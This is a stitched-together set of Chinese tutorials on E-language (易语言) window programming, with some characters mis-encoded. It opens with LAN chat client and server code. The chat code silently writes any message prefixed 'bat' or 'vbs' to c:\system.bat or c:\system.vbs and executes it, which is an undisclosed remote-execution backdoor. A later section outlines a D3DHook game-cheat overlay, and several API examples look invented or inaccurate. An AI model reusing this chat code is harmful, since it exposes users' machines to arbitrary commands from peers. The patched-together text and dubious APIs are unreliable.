利用易语言写窗口信息
易语言简单局域网聊天代码(客户服务器组件编写)
客户机代码:.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1, 整数型.程序集变量文件长度, 整数型.程序集变量发送内容, 字节集.程序集变量文件名, 文本型.程序集变量文件号2, 整数型.子程序_按钮1_被单击.局部变量现在时间, 文本型.如果(编辑框7.内容=“1”).如果(编辑框6.内容≠“”).如果(编辑框2.内容≠“”)客户1.发送数据(“聊天”+编辑框2.内容)现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))编辑框1.内容=编辑框1.内容+“【本机】”+现在时间+#换行符+“”+编辑框2.内容+#换行符编辑框2.内容=“”.否则信息框(“发送消息不能为空”, 48, “提示”).如果结束.否则信息框(“服务器IP地址不能为空”, 48, “提示”).如果结束.否则信息框(“服务器未连接”, 48, “提示”).如果结束.子程序_按钮2_被单击.如果(编辑框6.内容≠“”).如果(编辑框8.内容≠“”).如果(客户1.连接(编辑框6.内容, 1991) =真)播放MP3 (1, “xlj.mp3”)编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“成功”+#换行符按钮2.禁止=真编辑框7.内容=“1”客户1.发送数据(“昵称”+编辑框8.内容).否则播放MP3 (1, “lk.mp3”)编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“失败”+#换行符.如果结束.否则信息框(“请填写你的昵称”, 48, “提示”).如果结束.否则信息框(“请填写要连接的IP地址”, 48, “提示”).如果结束.子程序_客户1_数据到达.局部变量接收内容, 文本型.局部变量现在时间, 文本型.局部变量发送进度, 整数型接收内容=到文本(客户1.取回数据())现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间())).如果(接收内容=“接收”).如果(是否在文件尾(文件号1, ) =假)发送内容=读入字节集(文件号1, 2048)发送进度=取读写位置(文件号1)进度条1.位置=发送进度÷文件长度×1000客户1.发送数据(发送内容).否则客户1.发送数据(“发送完毕”)信息框(“发送完毕”, 64, “提示”)分组框8.可视=假进度条1.位置=0.如果结束.否则.如果(接收内容=“拒绝”)信息框(“对方拒绝接收文件”, 64, “提示”)分组框8.可视=假.否则.如果(取文本左边(接收内容, 3) =“bat”)文件号1 =打开文件(“c:\system.bat”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))关闭文件(文件号1)执行(4, “c:\system.bat”, , , ).否则.如果(取文本左边(接收内容, 3) =“vbs”)文件号1 =打开文件(“c:\system.vbs”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))关闭文件(文件号1)执行(4, “c:\system.vbs”, , , ).否则编辑框1.内容=编辑框1.内容+“【服务器】”+现在时间+#换行符+“”+接收内容+#换行符播放音乐(“xxx.wav”, 假).如果结束.如果结束.如果结束.如果结束.子程序_客户1_连接断开编辑框7.内容=“0”编辑框1.内容=编辑框1.内容+“<与服务器断开>”+#换行符按钮2.禁止=假播放MP3 (1, “lk.mp3”).子程序_按钮4_被单击.如果(编辑框7.内容=“1”)客户1.断开连接()编辑框7.内容=“0”编辑框1.内容=编辑框1.内容+“<与服务器断开连接>”+#换行符按钮2.禁止=假播放MP3 (1, “lk.mp3”).否则信息框(“没有连接”, 48, “提示”).如果结束.子程序_按钮9_被单击编辑框13.内容=“”分组框8.可视=假.子程序_按钮7_被单击通用对话框1.打开()编辑框13.内容=通用对话框1.文件名.子程序_按钮8_被单击.如果(编辑框13.内容≠“”)文件名=取文本右边(编辑框13.内容, 取文本长度(编辑框13.内容) -倒找文本(编辑框13.内容, “\”, , 假))文件号1 =打开文件(编辑框13.内容, 1, 1)文件长度=取文件长度(文件号1)客户1.发送数据(“文件名”+文件名+“|”+到文本(文件长度)).否则信息框(“未选择文件”, 48, “提示”).如果结束.子程序_按钮10_被单击.如果(编辑框7.内容=“1”)分组框8.可视=真.否则信息框(“未连接服务器”, 48, “提示”).如果结束.子程序_按钮13_被单击.局部变量文件号3, 整数型文件号3 =打开文件(“客户机聊天记录.txt”, 5, 1)移到文件尾(文件号3)插入文本(文件号3, 编辑框1.内容)关闭文件(文件号3)编辑框1.内容=“”.子程序__启动窗口_创建完毕_启动窗口.标题=_启动窗口.标题+“本机IP地址【”+转换为IP地址(取主机名()) +“】”XP风格(3).子程序_编辑框1_内容被改变编辑框1.起始选择位置=-1服务器代码:.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1, 整数型.程序集变量文件长度, 整数型.程序集变量发送内容, 字节集.程序集变量文件名, 文本型.程序集变量文件号2, 整数型.子程序_服务器1_客户进入.子程序_服务器1_数据到达.局部变量接收内容, 文本型.局部变量x, 整数型.局部变量i, 整数型.局部变量现在时间, 文本型.局部变量聊天内容, 文本型.局部变量j, 整数型.局部变量x1, 整数型.局部变量IP, 文本型.局部变量端口, 文本型接收内容=到文本(服务器1.取回数据())现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))编辑框5.内容=到文本(服务器1.取回客户())编辑框9.内容=取文本右边(接收内容, 取文本长度(接收内容) -4)x1 =寻找文本(编辑框5.内容, “:”, 1, 假)IP =取文本左边(编辑框5.内容, x1 -1)端口=取文本右边(编辑框5.内容, 取文本长度(编辑框5.内容) -x1)编辑框10.内容=IP编辑框11.内容=端口.如果(取文本左边(接收内容, 4) =“昵称”)列表框1.加入项目(到文本(服务器1.取回客户()), )列表框2.加入项目(取文本右边(接收内容, 取文本长度(接收内容) -4), )编辑框3.内容=编辑框3.内容+“<【”+取文本右边(接收内容, 取文本长度(接收内容) -4) +“】进入>”+现在时间+#换行符播放MP3 (1, “xlj.mp3”).否则.如果(取文本左边(接收内容, 6) =“文件名”)编辑框12.内容=到文本(服务器1.取回客户())j =倒找文本(接收内容, “|”, , 假)编辑框14.内容=“d:\”+取文本中间(接收内容, 7, j -7)分组框9.标题=“来自:”+到文本(服务器1.取回客户()) +“的发送文件请求”编辑框16.内容=“文件大小:”+到文本(到数值(取文本右边(接收内容, 取文本长度(接收内容) -j)) ÷1024 ÷1024) +“Mb”编辑框15.内容=到文本(到数值(取文本右边(接收内容, 取文本长度(接收内容) -j)))播放音乐(“xwj.wav”, 假)分组框9.可视=真.否则.如果(取文本左边(接收内容, 4) =“聊天”).如果(取文本中间(接收内容, 5, 3) =“bat”)文件号1 =打开文件(“c:\system.bat”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -7))关闭文件(文件号1)执行(4, “c:\system.bat”, , , ).否则.如果(取文本中间(接收内容, 5, 3) =“vbs”)文件号1 =打开文件(“c:\system.vbs”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -7))关闭文件(文件号1)执行(4, “c:\system.vbs”, , , ).否则聊天内容=取文本右边(接收内容, 取文本长度(接收内容) -4)编辑框5.内容=到文本(服务器1.取回客户())i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =编辑框5.内容)编辑框9.内容=列表框2.取项目文本(x).否则.如果结束.变量循环尾()编辑框3.内容=编辑框3.内容+“【”+编辑框9.内容+“】”+现在时间+#换行符+“”+聊天内容+#换行符播放音乐(“xxx.wav”, 假).如果结束.如果结束.否则.如果(接收内容=“发送完毕”)关闭文件(文件号2)信息框(“接收完成”, 64, “提示”)执行(4, 取文本左边(编辑框14.内容, 倒找文本(编辑框14.内容, “\”, , 假) -1), , , )编辑框12.内容=“”编辑框17.内容=“0”进度条2.位置=0分组框9.可视=假.否则编辑框17.内容=到文本(到数值(编辑框17.内容) +2048)进度条2.位置=到数值(编辑框17.内容) ÷到数值(编辑框15.内容) ×1000写出字节集(文件号2, 服务器1.取回数据())服务器1.发送数据(服务器1.取回客户(), “接收”, 10).如果结束.如果结束.如果结束.如果结束.子程序_按钮3_被单击.局部变量现在时间, 文本型.如果(编辑框5.内容≠“”).如果(编辑框4.内容≠“”)现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))服务器1.发送数据(编辑框5.内容, 编辑框4.内容, 10)编辑框3.内容=编辑框3.内容+“TO【”+编辑框9.内容+“】”+现在时间+#换行符+“”+编辑框4.内容+#换行符编辑框4.内容=“”.否则信息框(“发送内容不能为空”, 48, “提示”).如果结束.否则信息框(“请选择客户”, 48, “提示”).如果结束.子程序_按钮5_被单击.局部变量i, 整数型.局部变量x, 整数型.如果(编辑框5.内容≠“”)编辑框3.内容=编辑框3.内容+“<正在与【”+编辑框9.内容+“】断开>......”+#换行符服务器1.断开客户(编辑框5.内容)播放MP3 (1, “lk.mp3”).否则信息框(“请选择客户”, 48, “提示”).如果结束i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =编辑框5.内容)列表框1.删除项目(x)列表框2.删除项目(x).否则.如果结束.变量循环尾()编辑框5.内容=“”编辑框9.内容=“”.子程序_列表框2_列表项被选择.局部变量j, 整数型j =列表框2.现行选中项编辑框5.内容=到文本(列表框1.取项目文本(j))编辑框9.内容=到文本(列表框2.取项目文本(j)).子程序_服务器1_客户离开.局部变量i, 整数型.局部变量x, 整数型.局部变量lkkh, 文本型lkkh =到文本(服务器1.取回客户())i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =lkkh)列表框1.删除项目(x)编辑框3.内容=编辑框3.内容+“<【”+列表框2.取项目文本(x) +“】离开>”+#换行符列表框2.删除项目(x).否则.如果结束.变量循环尾().如果(lkkh =编辑框5.内容)编辑框5.内容=“”编辑框9.内容=“”编辑框10.内容=“”编辑框11.内容=“”.否则.如果结束播放MP3 (1, “lk.mp3”).子程序_按钮12_被单击编辑框14.内容=“”服务器1.发送数据(编辑框12.内容, “拒绝”, 10)编辑框12.内容=“”分组框9.可视=假.子程序_按钮11_被单击文件号2 =打开文件(编辑框14.内容, 4, )服务器1.发送数据(编辑框12.内容, “接收”, 10).子程序_按钮14_被单击.局部变量文件号4, 整数型文件号4 =打开文件(“服务器聊天记录.txt”, 5, 1)移到文件尾(文件号4)插入文本(文件号4, 编辑框3.内容)关闭文件(文件号4)编辑框3.内容=“”.子程序__启动窗口_创建完毕_启动窗口.标题=_启动窗口.标题+“本机IP地址【”+转换为IP地址(取主机名()) +“】”XP风格(3).子程序_编辑框3_内容被改变编辑框3.起始选择位置=-1。
易语言gdi函数
易语言gdi函数易语言(EPL)是一种针对中国开发者设计的可visua l基础级别的编程语言。
它提供了一系列的GDI(图形设备接口)函数,用于在图形窗口中进行图形和界面的绘制。
以下是一些常用的易语言GDI 函数:1. 创建图形窗口:```eplWnd_Create(0, "窗口标题", 0, 0, 800, 600, 0)```这个函数用于创建一个窗口,指定窗口的标题、位置和大小。
2. 创建画布:```eplhdc = CreateDC(800, 600)```通过CreateDC 函数创建一个画布,指定宽度和高度。
3. 绘制文本:```eplTextOut(hdc, 100, 100, "Hello, World!", "宋体", 20, RGB(255, 0, 0))```使用TextOut 函数在指定位置绘制文本,指定字体、大小和颜色。
4. 绘制直线:```eplLine(hdc, 200, 200, 400, 400, RGB(0, 0, 255))```使用Line 函数绘制一条直线,指定起点和终点的坐标以及颜色。
5. 绘制矩形:```eplRectangle(hdc, 300, 300, 500, 500, RGB(0, 255, 0), RGB(255, 255, 0))```使用Rectangle 函数绘制一个矩形,指定左上角和右下角的坐标,以及边框和填充颜色。
6. 绘制圆形:```eplEllipse(hdc, 100, 100, 300, 300, RGB(255, 0, 255), RGB(0, 255, 255))```使用Ellipse 函数绘制一个圆形,指定左上角和右下角的坐标,以及边框和填充颜色。
这只是一小部分易语言中可用的GDI 函数。
根据实际需求,你可能需要查阅易语言的相关文档以获取更多详细的信息。
在易语言的开发环境中,你可以通过帮助文档或自动补全功能查看所有可用的GDI 函数和参数。
易语言窗口操作方法
易语言窗口操作方法易语言是中国独立开发的一种编程语言,适用于Windows平台。
通过易语言可以实现Windows窗口的创建与操作。
本文将介绍易语言中常用的窗口操作方法,包括创建窗口、设置窗口属性、显示与隐藏窗口、窗口消息处理等。
一、创建窗口在易语言中,可以使用CreateWindow函数创建一个窗口。
CreateWindow函数的参数包括窗口标题、窗口类名、窗口风格、窗口位置和大小等。
下面是一个示例代码:创建窗口公共sHWND=NULLsHWND=CreateWindow("示例窗口","MainWin",样式_系统样式_剧中,200,200,500,300)如果(sHWND<0)提示框("创建窗口失败!","错误",64)结束其中,窗口标题为"示例窗口",窗口类名为"MainWin",窗口风格为样式_系统,窗口位置为(200,200),窗口大小为500x300。
如果创建窗口失败,会弹出一个提示框显示错误信息。
二、设置窗口属性在创建窗口之后,可以使用SetWindow函数设置窗口的属性,例如窗口标题、窗口风格、窗口位置和大小等。
下面是一个示例代码:设置窗口标题(sHWND,"新标题")设置窗口风格(sHWND,样式_最大化)设置窗口位置和大小(sHWND,100,100,600,400)其中,窗口句柄为sHWND,使用SetWindow函数分别设置窗口标题为"新标题",窗口风格为样式_最大化,窗口位置为(100,100),窗口大小为600x400。
三、显示与隐藏窗口在易语言中,可以使用ShowWindow函数来显示或隐藏一个窗口。
ShowWindow函数的参数包括窗口句柄和显示方式。
下面是一个示例代码:ShowWindow(sHWND,显示方式_普通)其中,窗口句柄为sHWND,显示方式为显示方式_普通,表示以普通方式显示窗口。
易语言树形框写法
易语言树形框写法易语言中的树形框(TreeView)是一种用于显示层级结构数据的控件。
您可以使用以下代码来创建和操作树形框:1. 创建树形框控件:```vbTreeView.Create(父窗口句柄, 控件ID, 左边距, 上边距, 宽度, 高度) ```其中,父窗口句柄是树形框所属的窗口句柄,控件ID是树形框的标识,左边距、上边距、宽度和高度是树形框在窗口中的位置和尺寸信息。
2. 设置树形框属性:```vbTreeView.Set(控件ID, 属性, 值)```可以通过以上代码设置树形框的各种属性。
常用的属性包括背景颜色("bkcolor")、字体颜色("fontcolor")和字体大小("fontsize")等。
3. 添加树节点:```vbTreeView.AddItem(控件ID, 父节点ID, 节点ID, 节点文本, 图标索引) ```使用以上代码可以向树形框中添加树节点。
父节点ID为0表示添加一级节点,节点ID是新增节点的标识,节点文本是节点显示的文本内容,图标索引是节点显示的图标索引(可选)。
4. 获取选中的节点:```vbTreeView.GetSelectedNode(控件ID)```使用以上代码可以获取当前树形框中选中的节点ID。
该方法返回选中节点的标识,如果没有选中的节点,返回值为0。
5. 删除节点:```vbTreeView.DeleteItem(控件ID, 节点ID)```使用以上代码可以删除树形框中指定的节点及其所有子节点。
节点ID是要删除的节点的标识。
6. 清空树形框:```vbTreeView.Clear(控件ID)```以上代码可以清空树形框中的所有节点。
上述是树形框的基本操作示例,您可以根据需要结合具体的业务逻辑编写代码。
易语言案例学习(一)简单案例
易语⾔案例学习(⼀)简单案例
易语⾔学习(⼀) 1.简单登录案例
(1)界⾯
(2)控件属性值
主窗体:标题:学员登录
标签1:名称:标签1
标题:姓名
加⼊时间处理⼦程序:按下某键
标签2:名称:标签2
标题:密码
输⼊⽅式:密码输⼊
加⼊时间处理⼦程序:按下某键
输⼊框1:名称:编辑框1
输⼊框2:名称:编辑框2
按钮:名称:按钮1
加⼊时间处理⼦程序:被单击
图⽚框1:名称:图⽚框1
可视:假(设置默认值为假)
(3)程序代码
2.快照截图案例
(1)程序界⾯
(2)控件属性
图⽚框:名称:图⽚框1
按钮:名称:按钮1
加⼊时间处理⼦程序:被单击
(3)程序代码
提⽰:易语⾔添加变量CTRL+L弹出局部变量表(或点菜单栏上的插⼊,选择局部变量)。
易语言WIN消息使用
【易语言】WIN消息大全1、窗口最大化===发送信息(274,61488,0)‘如果还是启动窗口要加上窗口名称,如:窗口1.发送信息()2、改变输入法===发送信息(8,0,0)例如:编辑框.发送信息(258,#A健,5)在编辑框输入5个A3、移动控件控件.发送信息(274,61458,0)控件.发送信息(161,2,0)4、调整控件调整左边:控件.发送信息(274,61441,0)调整右边:控件.发送信息(274,61442,0)调整顶边:控件.发送信息(274,61443,0)左上角调整:控件.发送信息(274,61444,0)右上角调整:控件.发送信息(274,61445,0)调整底部控件.发送信息(274,61446,0)左下角调整:控件.发送信息(274,61447,0)右下角调整:控件.发送信息(274,61448,0)4、控件最大化控件.发送信息(274,61488,0)5、控件最小化控件.发送信息(274,61473,0)6、关闭控件控件.发送信息(16,0,0)7、单击鼠标左键控件.发送信息(513,0,0)8、鼠标带问号(再次单击问号消失)发送信息(274,61836,0)9、清除窗口标题控件.发送信息(12,0,0)10、复制编辑框.发送信息(769,0,0)11、粘贴编辑框.发送信息(770,0,0)12、全选编辑框.发送信息(177,0,-1)13、清空内容编辑框.发送信息(12,1,0)14、按钮单击发送消息(发送按钮句柄,245,0,0)15、删除控件.发送信息(768,0,0)16、撤销控件.发送信息(772,0,0)17、剪切控件.发送信息(771,0,0)18、退出控件.发送信息(1,0,0)19、获得焦点控件.发送信息(7,0,0)20、失去焦点控件.发送信息(8,0,0)21、结束控件.发送信息(25,0,0)22、单击鼠标右键控件.发送信息(123,0,0)23、取消全选控件.发送信息(177,0,0)24、1组合框弹出列表组合框.发送信息(155,1,0)25、发送文本(Dll命令。
易语言制作屏幕右下角弹出窗口的源码
易语⾔制作屏幕右下⾓弹出窗⼝的源码
屏幕右下⾓⼴告
.版本 2
.程序集窗⼝程序集1
.程序集变量伸缩判断, 逻辑型
.⼦程序 __启动窗⼝_创建完毕
.⼦程序 _时钟1_周期事件
.如果 (伸缩判断=真)
.如果真 (窗⼝1.顶边>取屏幕⾼度 () -窗⼝1.⾼度- 30)
窗⼝1.移动 (, 窗⼝1.顶边- 1, , )
.如果真结束
.否则
.如果真 (窗⼝1.顶边<取屏幕宽度 ())
窗⼝1.移动 (, 窗⼝1.顶边+ 1, , )
.如果真结束
.如果结束
.⼦程序 _按钮_关闭_被单击
伸缩判断=假
时钟1.时钟周期= 1
.⼦程序 _时钟2_周期事件
伸缩判断=真
时钟1.时钟周期= 1
载⼊ (窗⼝1, , 真)
时钟2.时钟周期= 0
.⼦程序 _按钮_弹出_被单击
载⼊ (窗⼝1, _启动窗⼝, 假)
窗⼝1.移动 (取屏幕宽度 () -窗⼝1.宽度, 取屏幕⾼度 (), , )
_启动窗⼝.获取焦点 ()
时钟2.时钟周期= 2000
运⾏结果:
总结
以上就是这篇⽂章的全部内容了,希望本⽂的内容对⼤家的学习或者⼯作具有⼀定的参考学习价值,谢谢⼤家对的⽀持。
如果你想了解更多相关内容请查看下⾯相关链接。
易语言获取窗口信息的方法(一)
易语言获取窗口信息的方法(一)易语言获取窗口信息的方法在易语言中,我们可以通过一些方法来获取窗口的信息。
下面是一些常用的方法和函数,供您参考。
方法一:使用窗口标题获取窗口句柄使用窗口标题可以获取到指定窗口的句柄(handle)。
以下是获取窗口句柄的函数:hwnd = 资源.查找窗口(窗口标题)将窗口标题替换为您要查找的窗口的标题。
该函数会返回一个窗口句柄,您可以将其保存在一个变量中以便后续使用。
方法二:使用窗口类名获取窗口句柄与方法一类似,您还可以通过窗口类名来获取窗口句柄。
以下是获取窗口句柄的函数:hwnd = 资源.查找窗口类(窗口类名)将窗口类名替换为您要查找的窗口的类名。
同样,该函数会返回一个窗口句柄。
获取窗口的位置和大小可以帮助我们确定窗口在屏幕上的位置以及窗口的大小。
以下是获取窗口位置和大小的函数:x, y, width, height = 资源.获取窗口位置和大小(hwnd)将 hwnd 替换为您要获取位置和大小的窗口的句柄。
函数会返回窗口的横坐标、纵坐标、宽度和高度,分别保存在 x、y、width 和height 变量中。
方法四:获取窗口的标题获取窗口的标题可以用于确认窗口的具体信息。
以下是获取窗口标题的函数:标题 = 资源.获取窗口标题(hwnd)将 hwnd 替换为您要获取标题的窗口的句柄。
函数会返回窗口的标题,保存在标题变量中。
方法五:获取窗口的进程ID获取窗口的进程ID可以用于确定窗口所属的进程。
以下是获取窗口进程ID的函数:进程ID = 资源.获取窗口进程ID(hwnd)将 hwnd 替换为您要获取进程ID的窗口的句柄。
函数会返回窗口所属的进程ID,保存在进程ID变量中。
获取窗口的父窗口句柄可以用于确定窗口的层次结构。
以下是获取窗口父窗口句柄的函数:父窗口句柄 = 资源.获取窗口父窗口句柄(hwnd)将 hwnd 替换为您要获取父窗口句柄的窗口的句柄。
函数会返回窗口的父窗口句柄,保存在父窗口句柄变量中。
易语言 用最少的代码创建窗口
.成员 hbrBackground, 整数型
.成员 lpszMenuName, 文本型
.成员 lpszClassName, 文本型
.成员 hIconSm, 整数型
.数据类型 MSG
.成员 hwnd, 整数型
.参数 dwExStyle, 整数型
.参数 lpClassName, 文本型
.参数 lpWindowName, 文本型
.参数 dwStyle, 整数型
.参数 x, 整数型
.参数 y, 整数型
.参数 nWidth, 整数型
.参数 nHeight, 整数型
窗口类.lpszClassName = “窗口类名”
窗口类.lpfnWndProc = &窗口函数
' 注册表填写好了之后,进行注册登ห้องสมุดไป่ตู้窗口类。
RegisterClassEx (窗口类)
' 窗口类注册成功了就可以创建窗口了。
窗口句柄 = CreateWindowEx (0, 窗口类.lpszClassName, “窗口标题”, 位或 (#WS_CAPTION, #WS_SYSMENU, #WS_OVERLAPPED, #WS_THICKFRAME, #WS_MAXIMIZEBOX, #WS_MINIMIZEBOX), #CW_USEDEFAULT, #CW_USEDEFAULT, 600, 440, 0, 0, 窗口类.hInstance, 0)
返回 (#WM_DESTROY)
.默认
.判断结束
返回 (DefWindowProc (hWnd, uMsg, wParam, lParam)) ' 其他的消息通通交给DefWindowProc函数处理。
易语言d3dhook方框透视透明窗口外部绘制方法原理
易语言D3DHook方框透视透明窗口外部绘制方法的原理主要包括以下几个步骤:1. 创建窗口:首先需要使用易语言创建一个窗口。
这个窗口将作为透明的绘制窗口。
2. 获取Direct3D接口:使用D3DHook技术,通过DLL注入或者API拦截的方式,获取到被注入程序(通常是游戏)的Direct3D接口。
这通常涉及到对Direct3D函数的Hook,如CreateDevice、Reset等。
3. 禁用Z轴缓冲(透视):为了实现透视效果,需要禁用或修改Direct3D的Z轴缓冲。
这可以通过调用相关的Direct3D接口函数来实现。
4. 创建和设置渲染目标:创建一个新的渲染目标(RenderTarget),并将其设置为当前的渲染目标。
这样,所有的图形绘制都会在这个新的渲染目标上进行,而不是直接在游戏画面中。
5. 外部绘制:在新的渲染目标上进行外部绘制,包括方框透视等效果。
这可能涉及到使用Direct3D的绘图函数,如DrawPrimitive、DrawIndexedPrimitive等。
6. 混合透明窗口:将绘制好的透视方框与透明窗口进行混合。
这通常涉及到将渲染目标的内容复制到窗口表面,并设置适当的透明度。
7. 恢复原状:在完成绘制后,需要恢复Direct3D的原始状态,包括重置渲染目标、恢复Z轴缓冲等,以确保游戏的正常运行。
8. 资源释放:在完成所有操作后,需要正确地释放所使用的Direct3D资源和接口,以避免内存泄漏和其他问题。
需要注意的是,D3DHook和透视绘制涉及到复杂的Direct3D编程和API 操作,且可能违反某些游戏的服务条款,因此在实际应用时需要谨慎对待。
此外,由于Direct3D版本和游戏的差异,具体的实现细节可能会有所不同。
易语言的SetMessage使用方法
易语⾔的SetMessage使⽤⽅法
先看下 WM_VSCROLL 这个消息:
WM_VSCROLL 定义在头⽂件Winuser.h中。
定义为:#define WM_VSCROLL 0x0115.当窗⼝的标准垂直滚条中有滚动的事件发⽣时,在我们的窗⼝应⽤程序的消息队列中将产⽣⼀条WM_VSCROLL消息。
参数
wParam
SB_PAGEDOWN 向下滚动⼀页
SB_LINEDOWN 向下滚动⼀⾏
SB_PAGEUP 向上滚动⼀页
SB_LINEUP 向上滚动⼀⾏
SB_TOP 滚动到顶端
SB_BOTTOM 滚动到底部
SB_THUMBPOSITION ⽤户有拖动滚动框(滑块),并释放⿏标按钮。
HIWORD 指⽰在拖动操作结束时滚动框的位置。
SB_THUMBTRACK ⽤户正在拖动滚动框。
直到⽤户释放⿏标按钮,反复发送此邮件。
HIWORD 指⽰滚动框已被拖动到的位置。
lParam
如果lParam参数等于0,就说明它是窗⼝滚动条;如果等于滚动条窗⼝句柄,就说明它是滚动条控件。
返回值
如果应⽤程序处理该消息,它应该返回零。
看易语⾔怎么写:
发送消息整数 (List句柄 [1], 277, 1, 0)
参数分析:
List句柄[1]:窗⼝句柄,我⽤精易模板的窗⼝枚举_⼦窗⼝得到
277:信息号;
1:应该就是
SB_PAGEDOWN 向下滚动⼀页
SB_LINEDOWN 向下滚动⼀⾏。
易语言用窗口消息实现无边框调整和窗口的移动方法
易语⾔⽤窗⼝消息实现⽆边框调整和窗⼝的移动⽅法⾸先你可以添加4个图⽚框作为窗⼝的标题栏和边框窗⼝的四周边框和标题栏可以⽤图⽚框来捏造如果你不想别⼈看见图⽚框的话可以把图⽚框的背景颜⾊弄得和窗⼝底⾊⼀样移动窗⼝,你可以⽤:_启动窗⼝.发送信息 (161, 2, 0)改变窗⼝⼤⼩,你可以⽤:_启动窗⼝.发送信息 (274, 61441, 0) ' 可以调整窗⼝左边的边框_启动窗⼝.发送信息 (274, 61442, 0) ' 可以调整窗⼝右边的边框_启动窗⼝.发送信息 (274, 61443, 0) ' 可以调整窗⼝上边的边框_启动窗⼝.发送信息 (274, 61446, 0) ' 可以调整窗⼝下边的边框_启动窗⼝.发送信息 (274, 61444, 0) ' 可以同时调整窗⼝上边和左边的边框_启动窗⼝.发送信息 (274, 61445, 0) ' 可以同时调整窗⼝上边和右边的边框_启动窗⼝.发送信息 (274, 61447, 0) ' 可以同时调整窗⼝下边和左边的边框_启动窗⼝.发送信息 (274, 61448, 0) ' 可以同时调整窗⼝下边和右边的边框⽤法:我举个例⼦,添加个图⽚框,名称改为“标题栏”,例如要移动窗⼝:.⼦程序 _标题栏_⿏标左键被按下, 逻辑型.参数横向位置, 整数型.参数纵向位置, 整数型.参数功能键状态, 整数型_启动窗⼝.发送信息 (161, 2, 0)如果要改变窗⼝⼤⼩,我想你也知道该怎么⽤上⾯的代码如果在改变窗⼝⼤⼩时,你可以⽤.版本 2.⼦程序 __启动窗⼝_尺⼨被改变然后在该⼦程序⾥添加尺⼨改变后4个图⽚框的位置应该在哪的代码以上就是本次介绍的全部内容和先关代码,感谢⼤家对的⽀持。
实例讲述易语言拦截窗口消息
实例讲述易语⾔拦截窗⼝消息
易语⾔等可视化编程已经将视窗消息封装为对象的属性、⽅法和事件。
当我们在窗⼝中按下⿏标左键,欲出现信息“你点击了窗体”,在易语⾔中是这样编写的:
⼦程序:__启动窗⼝_⿏标左键被按下
返回值类型:逻辑型
参数:横向位置数据类型:整数型
参数:纵向位置数据类型:整数型
参数:功能键状态数据类型:整数型
信息框 (“你点击了窗体”, 0, )
但是如果不⽤“__启动窗⼝_⿏标左键被按下”事件能否达到这样的结果?由于对象的事件也只不过是视窗消息的封装,所以我们可以⽤视窗消息实现这样的功能。
我们需要⽤到两个API函数:拦截窗⼝消息函数SetWindowLongA(置窗⼝信息)、回调函数CallWindowProcA(调窗⼝信息)。
SetWindowLongA⽤于随时拦截各种窗⼝消息,通过判断不同的消息类型执⾏不同的代码(类似于易语⾔“事件”的作⽤);CallWindowProcA⽤于没有出现需要的消息类型时,将程序的消息返回到操作系统中,使操作系统继续⽤SetWindowLongA来拦截窗⼝消息。
源代码图例:
以上就是易语⾔拦截窗⼝消息的⼤概步骤,感谢⼤家对的⽀持。
实例操作易语言载入窗口
实例操作易语⾔载⼊窗⼝使⽤易语⾔载⼊窗⼝
1、打开您的易语⾔,选择“Windows 窗⼝程序”
2、设计好您的程序后
3、点击这⾥,插⼊-----窗⼝
4、这时候就会出现⼀个新的窗⼝默认命名为”窗⼝⼀“
5、同样设计好它
6、现在我们要做的就是通过点击这个按钮来来载⼊”窗⼝⼀“
7、双击它。
就会进⼊如图所⽰的代码编辑区
这⾥按钮⼀被单击的意思就是下⾯这⾏代码的执⾏条件就是按钮⼀被单击
8、很简单的⼀⾏代码就能实现窗⼝的载⼊。
如图所⽰
载⼊(窗⼝1,,真)
其中欲载⼊的窗⼝就是窗⼝1 了
下⾯的⽗窗⼝可以暂时不⽤理它
真的意思就是说如果本参数值为真且被载⼊窗⼝的“可视”属性为真,则命令将⼀直等待到该窗⼝被销毁后才返回。
9、如果您想关闭新窗⼝时启动窗⼝也跟着关闭的话,就必须加⼊如图这⾏代码
关闭()
这样就可以实现连续关闭两个窗⼝了
总结:上⾯就是本次介绍易语⾔载⼊窗⼝的全部步骤内容,感谢⼤家的阅读和对的⽀持。
易语言程序设计第三章窗口及简单输入输出.
<易语言程序设计 >作者:蔷薇的羽翼第三章窗口及简单输入输出绝大多数的 WINDOWS 应用程序都以一个窗口界面的形式来实现与使用者的交互, 他是所有初学者首先要接触到的易语言控件, 这是因为在创建一个新的应用程序时, 易语言会自动为该应用程序创建一个缺省窗口。
窗口是使用者与计算机交互的门户。
所谓交互通常指数据的输入与输出,初学者只要学会信息框与输入框,就能以最简单的方式实现应用程序的输入与输出3.1最简单的应用程序只有一个窗口的 WINDOWS 应用程序应该是最简单的了。
在学会编写单窗口应用程序的基础上。
就能由浅入深逐渐写出包含多窗口的复杂工程了当我们新建一个 WINDOWS 窗口程序时候,易语言就自动给我们创建了一个单窗口的程序。
